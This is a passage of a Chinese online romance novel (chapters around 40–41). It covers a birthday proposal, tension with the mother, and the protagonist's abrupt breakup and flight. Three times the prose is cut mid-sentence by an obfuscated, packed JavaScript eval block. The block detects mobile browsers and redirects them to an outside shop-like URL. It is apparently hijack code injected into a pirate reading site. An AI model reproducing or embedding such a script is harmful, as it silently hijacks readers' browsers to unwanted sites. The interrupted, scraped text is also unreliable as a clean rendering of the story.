和符于渊的母子关系进展顺利,他们的熟悉程度已经到一起看电影的时候褚月恒可以不管不顾的打瞌睡,再睁开眼会发现自己在符于渊给他布置的卧室里,而天已经亮了。 和母亲的关系变好让褚月恒给戚清棠做男妈妈的时候也更加得心应手,现在戚清棠看他的眼神,让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271819|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有种自己正在被一个人深爱的错觉。 那眼神炙热的不可思议,但褚月恒出于某种隐晦的心思,只能假装看不见,不去回应。 梵七叶越来越有出息了,也越来越胆大包天了。 她获得了岳阳湖青年奖,褚月恒以他的导师的身份出席了颁奖典礼,在梵七叶念感谢他的台词的时候,还补充说,他不光在专业上给予了她无私地帮助,还用美貌抚慰了她疲惫的眼睛,全场都看了过来。 褚月恒尴尬的给人们观赏了一会儿,实在受不了了才选择拿梵七叶的论文挡住自己的脸,然后他就听见一阵哄笑。 燕时雨天天中午才出现在实验室,然后奋战到半夜十二点。想出去旅游的话立刻就跑了,只需要和褚月恒报备一下,闲散的像是不务正业的富二代。 她跟着褚月恒和梵七叶她被轻易带飞,不用担心达不到毕业要求。 她现在跟梵七叶学坏了,和刚来时乖巧的样子判若两人,对此褚月恒只能无奈叹气。她们都看透了褚月恒冰老虎的本质,只是看着吓人,实则温度一高他就融化了,褚月恒拿她们没办法,作为导师可以说是威严扫地。 他已经两个月没见过公山易禾了。 他知道公山易禾还会来泊大讲课,还会回来实验楼这边处理一些公务,但公山易禾在躲着他,从不经过他所在的楼层。 秋季的微风拂过色彩浓烈的树叶,褚月恒站在窗边看着公山易禾走过那颗繁茂的紫藤花树,公山教授穿着一身颇具复古风情的衣服,身姿挺拔的走在泊大的青石板路上,天高云淡,他美的就像上个世纪的油画。又像一本古老的魔法书,散发着诱人的神秘与安宁。 就算得到了这么多人的喜欢,褚月恒还是感觉自己和从前一样,是一个不讨人喜欢的异类,这些进入他生活的人们,也会在某天,因为某些他无法控制、无法预料的原因,抛弃他。 虽然褚月恒早就认命,接受自己不被人类喜欢这个事实,但是褚月恒还是忍不住去复盘他和公山易禾相处的细节,他一定是做错了什么,而且是很严重的错误,公山教授才会毫不犹豫的把他排斥在了生活之外,没有给他改正的机会。 公山教授的意思很明显,他关上了门,永远的拒绝了他。这种时候,再凑上去也于事无补,老老实实的不要去给对方添堵才是懂事的做法。褚月恒自己就是那个经常关上别人的门的人,所以他很能理解公山易禾的心情,他顺从的配合着公山易禾,尽量不出现在他面前,更不会去问自己被疏远的原因。 直到公山易禾的背影消失在视线里,褚月恒才关上窗帘。 很奇怪,得到公山易禾的喜爱时,总有某个瞬间,他会体会到一种由衷的愉悦,那种愉悦纯粹的令人惊奇,仿佛其他事情再怎样糟糕都无法影响这一刻的快乐。失去公山易禾的青睐后,哪怕被所有人喜欢,他也始终记得,公山易禾抛弃了他。 “老师,该下班了。”梵七叶眼睛亮亮的,不知道她又在傻乐些什么。 “你先走吧。”褚月恒觉得今天的梵七叶很奇怪,以前梵七叶从来不会招呼他一起下班的。 “可是今天是您生日,您总不能连过生日都要加班吧。”梵七叶疯狂明示。 褚月恒了然,肯定是戚清棠在家给他准备了什么惊喜。 他对外努力工作,对内辛苦扮演男妈妈的这两个月,取得了斐然的成就,家庭事业双丰收,戚清棠又恢复了他们吵架前的样子,时不时就给他准备小惊喜。 40. 求婚 褚月恒做好心理准备后,在梵七叶兴奋的目光中打开了门,家里果然被戚清棠打扮的花里胡哨,褚月恒一点也不意外。 下一秒,沙发背后钻出来一大群人,符于渊、李清木、燕时雨、褚月恒在工作期间相处的比较多的其他同事,比如养猴子的冯拂漫教授躲在角落里擦眼镜,除此之外还有戚清棠在娱乐圈玩的比较好的朋友,粗略数下来得有二十多个人,奇怪的是洛星临并不在其中。 如果只是过个生日,应该不会邀请这么多人。 褚月恒下意识勾起礼节性的微笑,颇为戒备的走进会客厅。 戚清棠张罗大家移步餐厅,餐桌上摆着三层大的马卡龙蛋糕。走完点蜡烛许愿等一系列流程后,戚清棠亲手给褚月恒把写着‘生日快乐’的那块蛋糕切了下来,随后大家也开始自助切蛋糕。 褚月恒饿了一天了,准备自己找个角落先填填肚子,却见所有人表面上在切蛋糕,实则都在暗暗注视着他。 “听七叶说你又忘吃午饭了,肯定饿了,快吃吧。”戚清棠期待的看着褚月恒。 褚月恒犹疑的叉了一口蛋糕,叉子碰到了什么东西,硬硬的。褚月恒表面镇定,实则惊恐的把那个硬邦邦的环状物叉出来,果然是一个典雅庄重的戒指。 褚月恒的大脑一片空白,然后他就看见戚清棠又用那种炙热的眼神看着他,并单膝跪地:“在冰原第一眼看到你的时候,我就知道我这辈子要栽在你身上了。我知道你有你的计划,你肯定会向我求婚的。但我等不了那么久了,想和你结婚的心情就在某个瞬间,一旦产生就难以克制,所以我想,也不是非要等你求婚的嘛,从一开始就是我追求的你,求婚也理应由我来做。” 褚月恒还在震惊中,033也很震惊。 在原来的时间线里,褚月恒追妻经历了千辛万苦,最终也只换得了戚清棠勉强同意褚月恒的求婚这个结果。 而现在……这是个什么情况,真的只过去了两个月而不是二十年吗? 033仔细分析了一下它带来的变动,然后震惊的发现,这一切还真的是合理的。 在原来的世界里,褚月恒顶着崩溃的精神状态跑到泊岳追妻,把戚清棠逼得跳湖。然后又经过各种虐身虐心、不择手段,戚清棠折腾累了,终于同意再和褚月恒试试,结果一转头褚月恒就和其他小明星搞暧昧,然后就又是一段要死要活的你追我赶,最后戚清棠绝望的冲进冰山里,褚月恒拼命去救,生死之间,他俩终于把过去那些伤害给释然了。 在原来的世界线里,戚清棠健康状况堪忧,在褚月恒衣不解带的照顾下,他才勉强同意了褚月恒的求婚,戚清棠的亲朋好友也冷着脸接受了褚月恒,但都一副褚月恒欠他们的态度。 现在这个世界线里,经过它033的插手,褚月恒颇为冷静的赶到泊岳,进退有度的追求戚清棠,从头到尾认错态度良好、精神状态稳定,一直付出,不求回报。 不光是感情上表现的更成熟,褚月恒本人的魅力也有所增加,他认识了新朋友,和母亲相认,拥有了道德底线和同理心,更懂得尊重和倾听,并在它033的指导下明白想要得到戚清棠得扮演‘妈妈’的角色。 这从戚清棠的视角来看,原来世界的故事是他一见钟情,然后发现他一见钟情的对象是个空有皮囊的人渣,他的一腔真心被人渣磋磨怠尽,只希望以后再也不相见,结果他不想要了,人渣反而凑过来了,并锲而不舍的用令人不适的手段逼迫他复合,最终他身心俱疲,人渣又确实把自己改造成了他的理想男友,他只能接受人渣的追求。 褚月恒变成了他曾经梦寐以求的那个人,可他却已经不想要了。 现在这个世界的故事走向却完全不同,在这里,他一见钟情了一位高岭之花,他为了追求高岭之花吃了很多苦,但好在苦尽甘来,高岭之花看到了他的好,为他走下神坛,心甘情愿的做他最体贴、最温柔的爱人,并将他儿时因为缺乏母爱留下的创伤全部治愈。 这不就是夏国大部分男人对爱情的终极幻想吗?夏国自古就有穷秀才和天上神女恋爱的话本,神女下神坛,给穷书上当‘新娘’,给他亲妈一般的照顾,穷书生得到顶级的美色、忠诚的爱人和被满足的虚荣心。神女得到了……033不知道。 所以,作为土生土长的夏国男人,戚清棠会动心到难以自持,甚至冲动求婚,也是可以理解的。 但是033不理解,033很崩溃。它明明是来拆散这个家的!谁想到世事无常,它反倒是做了红娘! 人们围观着,戚清棠紧张的跪着,褚月恒从震惊中回过神来,在大家紧张的眼神中,沉默的把自己手上的紫宝石戒指摘下来,然后垂眸看向戚清棠,默许他把订婚解释给他戴上。 那一刻,就算戚清棠早料到褚月恒会同意,也不禁感到一阵被幸运女神眷顾的幸福感。 “谢谢你。”这三个字莫名其妙就从戚清棠嘴里跑了出来,他颤抖着手,把戒指套在了褚月恒手上,这一刻,这个光芒万丈的男人被他套牢了,没什么比这更令人满足。 人们欢呼着,梵七叶没心没肺的和大家一起欢呼鼓掌,燕时雨礼貌的扯着嘴角鼓掌,然后小声对梵七叶说:“学姐,别傻乐了,咱导师进火坑了。” “啊?为什么?”大笑戛然而止,梵戚叶惊恐的看向燕时雨,“戚清棠这人虽然素质一般,但还是挺爱咱们导师的,不算火坑吧。” “订婚的时候,不该是双方长辈都来吗?若是打算私下再单独邀请长辈,那不应该双方长辈都不来吗?”燕时雨皱着眉头解释,“现在符于渊女士来了,戚清棠的父母呢?公山教授呢?他们是不知道还是不同意?无论是哪种,他这么做都很无礼,他应当先争取到家人的支持再求婚,不然就是不尊重咱们导师。” 梵七叶瞬间忧心忡忡了起来:“对啊。” 燕时雨叹了口气:“符女士也没笑。” 梵七叶看向符于渊,她坐在李清木旁边,面无表情的跟着大家一起鼓掌,怎么看都不像是开心的样子。 “那怎么办,咱导师已经同意了。”梵七叶感觉天塌了,她的傻导师太过不谙世事,还恋爱脑,马上就要吃爱情的苦了。 “我们也没立场做什么,但你别担心,符女士肯定会提醒导师的。”燕时雨也只能这样安慰梵七叶了。 “要是公山教授在就好了,他一定有办法。”梵七叶怅然道,“他到底在和导师闹什么变扭呢?难道他也不支持这个婚事?” —— 燕时雨观察的对,符于渊非常不高兴。戚清棠通知她说要求婚的时候,没跟她说他的家长不来! 她作为半路出现的便宜亲妈,自认没什么立场对儿子的事儿指手画脚,再加上褚月恒之前和她说过他和戚清棠早晚要结婚,她也就捏着鼻子认了戚清棠这个儿媳妇儿。 今天,戚清棠突然通知她说要求婚,她自然以为他已经和褚月恒心照不宣了,褚月恒应该知道他要求婚,只是不知道具体在哪一天。 虽然符于渊觉得在求婚前应该先安排双方父母见个面,但她毕竟是半路出现的母亲,也不好意思太端架子,戚清棠没安排,她也不敢表现出不满,只是盛装打扮着来出席这场仪式。 但她没想到戚清棠的父母居然没来!连他哥哥都没出现!这是个什么意思? 半路出现的亲妈也是亲妈,面对这种离谱的情况,符于渊肯定不会再忍了。 人们都在的时候,符于渊秉持着家丑不外扬的思想,没表露出明显的不悦。等送走了客人,符于渊立刻把褚月恒拉到小客厅单独聊:“你跟我说你俩迟早会结婚,但没说会这么早?” 褚月恒猜到符于渊会不满意,为了维持家庭和谐,不给自己添堵,他决定替戚清棠遮掩:“结婚本就是一时冲动的事儿,早晚就是或早或晚的意思。” 符于渊忧心忡忡道:“那他的家人为什么不来呢?” “我之前对他很无情,害他生了场重病,他的家人因此对我有一点意见。”褚月恒把错误都揽到自己身上,“不过您别担心,他父亲尊重有权势的人,我即将成为基地冰海研究院院长,他父亲表面上不会对我怎么样。他母亲不怎么管他,也不会和我有什么交集。他哥哥……素质高,也不会怎么样的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271820|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>符于渊叹了口气:“你要是决定了,我自然会支持你,但是我可以去找戚清棠说两句话吗?” 褚月恒愣了一下:“您要说什么?” “我想表达一下我作为你的长辈,在这种场合没见到他的长辈,我感到很失望。”符于渊认真的说,“你因为他受了委屈,他必须知道。” “不用了,这些我会和他说的。”褚月恒揽住符于渊的肩膀,“别发愁了,只是结婚而已,想离也就离了,您不用这么担心。这么晚了,我送您回家。” “你回去休息吧,我自己回就行。”符于渊笑了笑,塞给褚月恒一个红包,“生日快乐,我不懂挑礼物,你自助吧。” 符于渊把褚月恒推进卧室:“去休息吧,我自己走。” 把褚月恒哄去睡觉后,符于渊打算找个盥洗室理一理妆容,结果就碰到了刚洗完澡的戚清棠,戚清棠看到她还挺惊讶的:“您还没走?我叫月恒送送您?” 符于渊刚平静下来的血压立刻飙升,这个叫戚清棠的小孩儿也太会惹人生气了:“不用,他已经睡了,让他休息吧。” “哦。”戚清棠缺心少肺的擦着自己的头发,“我看您今晚好像不太开心,是饭菜不合胃口吗?您跟我说说,我下次一定注意。” 我觉得你不合胃口,下次可以注意别出现在我儿子的订婚典礼上吗? 符于渊挤出一个不友善的微笑:“都还行。” 戚清棠终于意识到了什么,皱起了眉头:“您是对我不满意?” 戚清棠不禁开始胡思乱想,褚月恒的母亲毕竟来自小地方,是不是也有对儿子占有欲过强的毛病?或者希望他当牛做马照顾他儿子? 符于渊深吸了一口气,觉得戚清棠自己都上赶着问了,那她也就没必要藏着不说了:“我认为求婚这种大事应该在双方父母的见证下进行,请问你的父母为什么不来?” 戚清棠没想到会是这么问题,他愣了一下,然后磕磕巴巴的说:“我父母不太支持我和月恒的事,不过您放心,他们无法影响我对月恒的爱。” 符于渊的太阳穴气的直跳:“孩子,你和你父母关系好吗?” 戚清棠还以为符于渊是在关心自己,顿时委屈的说:“不太好,我母亲……” 符于渊打断道:“不好到什么程度?逢年过节也不用见面吗?” 戚清棠愣了一下,生怕符于渊觉得自己不孝顺,急忙道:“当然不是,我们每个月都要回庄园陪姥姥姥爷吃饭,我和父亲见面更频繁……” “那这些活动月恒也都要参加吗?”符于渊再次打断戚清棠的喋喋不休。 戚清棠这才明白符于渊想问什么,她想知道褚月恒会不会在他家人那儿受委屈。这个问题在戚清棠的认知之外,他从未思考过这些,一时间不知道该如何回答,只能如实说:“也要参加的。” “那你求婚都不通知你爸妈,不是激化了矛盾?月恒跟你回家,他们能有什么好态度?” 戚清棠想起自己强势的父母,心虚了起来:“不好意思,我没想过,但是月恒不会介意的。” 戚清棠觉得符于渊在小题大做,褚月恒这种既高傲又强大的人,怎么会把他父母的冒犯放在心上? 符于渊失望的看着戚清棠,没再咄咄逼人的说什么,而是放柔了语气:“孩子,以后咱们就是一家人了,我知道你父亲有能力给你保驾护航,但我在演艺圈也有些人脉,你需要帮忙的时候尽管找我。我也希望你父母能这样对待月恒,你能努力改变他们对月恒的态度吗?” 符于渊拿出长辈的架势,半道德绑架半打感情牌的提出要求,戚清棠也不能不答应,只能说:“我会的。” 符于渊拍了拍他的肩膀:“好孩子,不要让我失望。我和你父亲是旧识,和你母亲也有过交集,我给你一个月的时间,如果到时候你还不能组织一场正式的家长见面饭局,我就自己约他们。” 戚清棠顿时感觉压力过重,非常想钻进褚月恒怀里撒娇,让他帮自己解决。 于是符于渊一走,戚清棠就钻进褚月恒怀里,把褚月恒摇醒:“月恒,你妈妈好凶!” 41. 再次逃离 刚订婚就要开始处理婆媳矛盾,这也太快了点。 褚月恒不情愿的睁开看,敷衍道:“你们不会经常见面的。” “可是你们明明关系很亲密,她却不喜欢我,这让我处境很尴尬!”戚清棠抱怨完后,突然想起符于渊刚跟她说过的话,他觉得符于渊小题大做,可让他陷入褚月恒的处境里,他却受不了了。 “我和她见面都是单独见面,并没有邀请过你。”褚月恒实事求是的讲,“而且我已经和她解释过你父母不喜欢我的原因,是因为我有负于你,她不会怪你的。” “你都跟她解释过了,她居然还来质问我?”刚还有点心虚的戚清棠又理直气壮了起来,“你母亲是不是有点不讲理了。” “她是讲道理的人。”褚月恒先反驳了这句话,然后在戚清棠变脸前哄道,“只是你父母的强势她有所耳闻,担心我应付不了而已。” 戚清棠勉强被哄好,小声说:“那她可就小看你了。” 褚月恒浅浅笑了一下,没说什么。 戚清棠以为让符于渊了解他俩在极地那会儿的故事,符于渊就会谅解他,那他就太天真了。符于渊作为一个性格冷傲的顶级美女,这辈子追求者无数,她再无情也有的是人上赶着捧她,在她看来,褚月恒在极地对戚清棠做的那些事儿都是正常的,如果戚清棠因此而计较,那就是小心眼。 她就算把追求她的男人关在门外栋一整晚,第二天打开门,对方也必须买好早饭和珠宝来哄她消气。如果对方不乐意,那就换一个,反正后面还有一群人在排队。 褚月恒对自己的亲妈还是有所了解的,所以他只是含混的说他害戚清棠得了重病,却没解释具体发生了什么。 为了不让戚清棠说漏嘴,褚月恒决定以后杜绝戚清棠和符于渊单独见面。 思考完这些问题后,褚月恒突然发现自己似乎和那些寻常人一样,在处理家里鸡毛蒜皮的小矛盾。每晚在他窗外的旅游街道玩耍的人们就是这样生活的吗?感觉也没什么意思。 从前他觉得冰海遥不可及,令人向往,等他真的沉入冰海深处,才发现不过如此。后来他又认为窗外繁盛的烟火遥不可及,令人羡慕,等他真的拥有,却发现这一切都无聊的令人发笑。 逃离的渴望就像烧不尽的业火,不管他跑到哪里,火焰都会在他心中燃起。褚月恒开始怀疑目的地本就不存在,他存在的意义就是不停的逃跑、失望、再逃跑。 现在,他躺在戚清棠的奢华公寓里,搂着戚清棠温暖的身体,鼻尖被他橙花味的洗发水环绕,脑海里却幻想着逃跑,逃到哪里都好,泊岳废弃的老城区的教堂、泊大花萼实验楼的天井、思明冰川中的庙宇,他脑海里一遍遍回放这些地方,恨不得自己能立刻出现在哪里,远离这令人恶心的温度和香气。 可是他真的下定决心要走了吗? 褚月恒看向怀里睡得脸颊通红的戚清棠,他很清楚,如果再抛弃戚清棠一次,就再也没挽回的机会了。 而且,他如果再做出这种不负责任的行为,对他失望的不仅只有戚清棠,还有公山易禾。 褚月恒盯着戚清棠的脸纠结了很久,然后他发现自己主要纠结的点不在于要不要和戚清棠分手,而在于公山易禾会不会对他彻底失望。 心里有个颇为委屈的声音在对褚月恒说:公山教授早就对你失望了,他选择离开,没有给你哪怕一次改错的机会。 褚月恒坐了起来,在黑暗的卧室发了一会儿呆,然后下定决心,深更半夜开始收拾东西,第二天一早,他所有痕迹都在这栋公寓中消失殆尽。 戚清棠一睁眼就立刻感受到了订婚不征求自己父母亲人同意的报应,对方走的轻而易举,都不需要顾虑他父母和哥哥的意见。 而他想要去找父母和哥哥告状都名不正言不顺,他得先解释为什么要偷偷订婚,解释清楚并获得了谅解才能继续告状。 戚清棠不敢置信的绕着公寓寻找了一圈又一圈,然后如梦初醒般拿起手机给褚月恒发消息:“你去哪儿了?” 褚月恒的电话很快打了过来:“我们分手吧。” 褚月恒一大早就来实验室忙工作了,现在没手回复消息,直接就打过去并开了外放。 “为什么?”戚清棠简直不相信自己的耳朵,“就因为我父母和哥哥没来?” “不是,只是因为我还没准备好订婚。”褚月恒平静的说。 戚清棠的眼泪哗啦啦的往下掉,尽管他觉得褚月恒这么说很伤他自尊,但他还是卑微的企图挽留,“你没准备好可以和我说,我们可以取消订婚,你不要这样一走了之,就像在极地那样,毫不留情的把我关在门外!” “我也不喜欢你总翻极地的旧账。”褚月恒实事求是的讲,按照人性规律,当一个人欠下一辈子都换不起的巨债,他的第一反应就是逃跑,褚月恒也不明白自己过去几个月为什么那么死心眼的非要赖在戚清棠身边还债,明明能很轻易赖掉,何必非要折磨自己? 033在旁边吐槽,恋爱脑是治好了,代价似乎是牺牲掉的道德底线。不过033还是很想在这里友情提示人类们,尽量不要让别人欠自己一笔巨债,不然遇到褚月恒这种人就完蛋了。 “你不喜欢我可以不提过去,只要你像现在这样留在我身边就好。”戚清棠都想不到自己可以这么卑微的祈求褚月恒留下,明明是褚月恒负他在先,现在倒是显得他才是犯错的那个。 “感谢你的宽容,但我不想在你身边。”褚月恒讲话还是这么不委婉,过去几个月总是花言巧语的哄戚清棠,现在一分手,他立刻原形毕露。 “褚月恒,你为什么对我这么残忍?”戚清棠在电话那头大哭。 褚月恒皱了皱眉,有点烦躁:“不要再联系我。” 然后挂断电话,所有联系方式拉黑,实验室删除进出权限,换宿舍位置,把所有和戚清棠有牵扯的东西全部换掉,杜绝被戚清棠纠缠的可能。 如果可以,褚月恒也不想工作。他走错了路,现在想停下。但现在他已经失去了公山易禾和戚清棠,如果再放弃工作,他又会失去李清木、梵七叶和燕时雨,还有他在泊岳的生活。他只能像从前一样回到极地,陷入孤独无望的状态,无所事事的等待死亡。 这件事让褚月恒明白,事业和感情不是一种东西。感情上的事情,在发现走错路后可以立刻切断,事业却是维持他生命的重要养料,就算暂时看不到留下的意义,他也必须坚持下去。 不过,就算他失去了事业,也还有母亲。 刚获得母亲的褚月恒终于反应了过来,他再也不会陷入曾经无望等死的处境里,因为符于渊不会允许他这么做。 无论他放弃什么,他在泊岳永远有处可去,于是褚月恒又理解了亲情和事业、爱情的区别。 想到自己还有亲妈兜底,褚月恒对着电脑严肃的思考了一会儿。直到梵七叶哼着歌来上学,吊儿郎当的用脚把实验室的门踹开,大声宣告:“老师!我来了!” 褚月恒第无数次无奈道:“来就来,不用昭告天下。” 然后褚月恒的手就自己开始继续工作,刚才产生的想要放弃事业的想法就此作罢。 梵七叶拿出自己的煎饼果子,正等着褚月恒嫌弃她的早饭味道难闻,就眼尖的发现,褚月恒的无名指空空的,没戴戒指! “老师,你恋爱脑终于好了?”梵七叶欣慰的看着褚月恒,“老师你终于长大了,我太感动了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271821|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 褚月恒把梵七叶凑过来的脑袋推开:“你不能去食堂吃早饭吗?实验室都被你污染了。” “这是办公区域,又不是试验区域,为什么不能吃?”梵七叶很想用自己沾了油的手蹭她龟毛导师的衣服,但她不敢,“你不喜欢,那我回自己办公室吃去,把给你带的也吃光。” 到了中午,刚睡醒的燕时雨也蹦蹦跳跳的来学习了,办公室又被她带的甜品香气笼罩,褚月恒想数落两句,又觉得数落了也没用,最终还是没知声。 “老师!师姐!快来见识一下泊岳最香的苹果派!”燕时雨抱着比她脸还大的苹果派开始呼朋唤友。 褚月恒还是没忍住,开始数落:“才十二点你就吃下午茶,下午怎么有精力学习?” “您快尝尝,可好吃了。”燕时雨嘴巴塞得满满的,无辜的看着他。 褚月恒:“……”那就尝尝吧。 —— 褚月恒这边一切如常,戚清棠这边却是天都塌了。 戚清棠不敢把自己求婚后秒被甩的事儿告诉他昨晚邀请的娱乐圈塑料朋友,于是他只告诉了公山易禾、洛星临、蒋则锋、公山庄园的管家和厨师,并要求他们全部回公山庄园来安慰他,他本人则在公山庄园的天台嚎啕大哭。 公山易禾收到消息后立刻出发,然后一眨眼就抵达了花萼实验楼楼下,他抬头往五楼东南角看,被纷纷扬扬落下的花瓣遮挡住了实现。 褚月恒刚分手,他是会来借用工作来转移伤心,还是会在家默默消化难过呢? 公山易禾烦躁的揉了揉头发,打理合宜的发型被揉的乱七八糟。 这两个月,戚清棠一直和他实时播报和褚月恒的甜蜜日常,他多次明示不要再跟他讲这些,戚清棠也只当没听到。 戚清棠是分享欲很强的人,其他事情他都可以和他温柔耐心的男妈妈褚月恒讲,但他和褚月恒之间的事情就要换个人倾诉了。从前他还能和洛星临说说话,自从和洛星临闹了不愉快后,公山易禾就成了他唯一的树洞。所以不管公山易禾怎么拒绝,戚清棠还是忍不住要和他叽叽喳喳。 公山易禾有想过直接屏蔽戚清棠的消息,可他又担心自己弟弟因此多想。最重要的是,在内心深处,他还是想要得到关于褚月恒的消息。 从戚清棠发过来的文字里,他能捕捉到褚月恒每天的生活。 越是捕捉,他心里就越不是滋味。褚月恒对戚清棠太好了,戚清棠拥有他梦寐以求的东西。 作为哥哥,他不该嫉妒弟弟的。作为天之骄子,他不该自恋的认为一切好东西都该是他的。 直到戚清棠跟他说要求婚的那天,他终于下定决心,把戚清棠的消息屏蔽掉了,他受够了可望不可即的感觉,也受够了自我谴责的滋味。 然而,他刚把戚清棠的消息屏蔽,戚清棠的电话就打了过来,他烦躁的接了电话,就听到戚清棠被甩的消息…… 然后,他脑子还没反应过来,人就出现在花萼实验楼下边了。显然,他的手脚都有自己的想法,没通知大脑就开车过来了。 所以,下一步该做什么?他要上楼吗?又怎么解释自己这两个月对褚月恒的回避呢? 他能感受到褚月恒也在回避他,也许他的行为已经引发了褚月恒的失望和不满。 心中思绪万千,公山易禾没有选择逃避,来都来了,他肯定要去见褚月恒一面。 至于下一步,那肯定是把褚月恒追到手了。天予不取,反受其咎;时至不迎,反受其殃。机会来了,公山易禾决定牢牢抓住。 相比于褚月恒和戚清棠的纠结和摇摆,公山易禾做决策的速度快到可怕,停车不到一分钟,他就从楼下跑到实验室门口,开始敲门。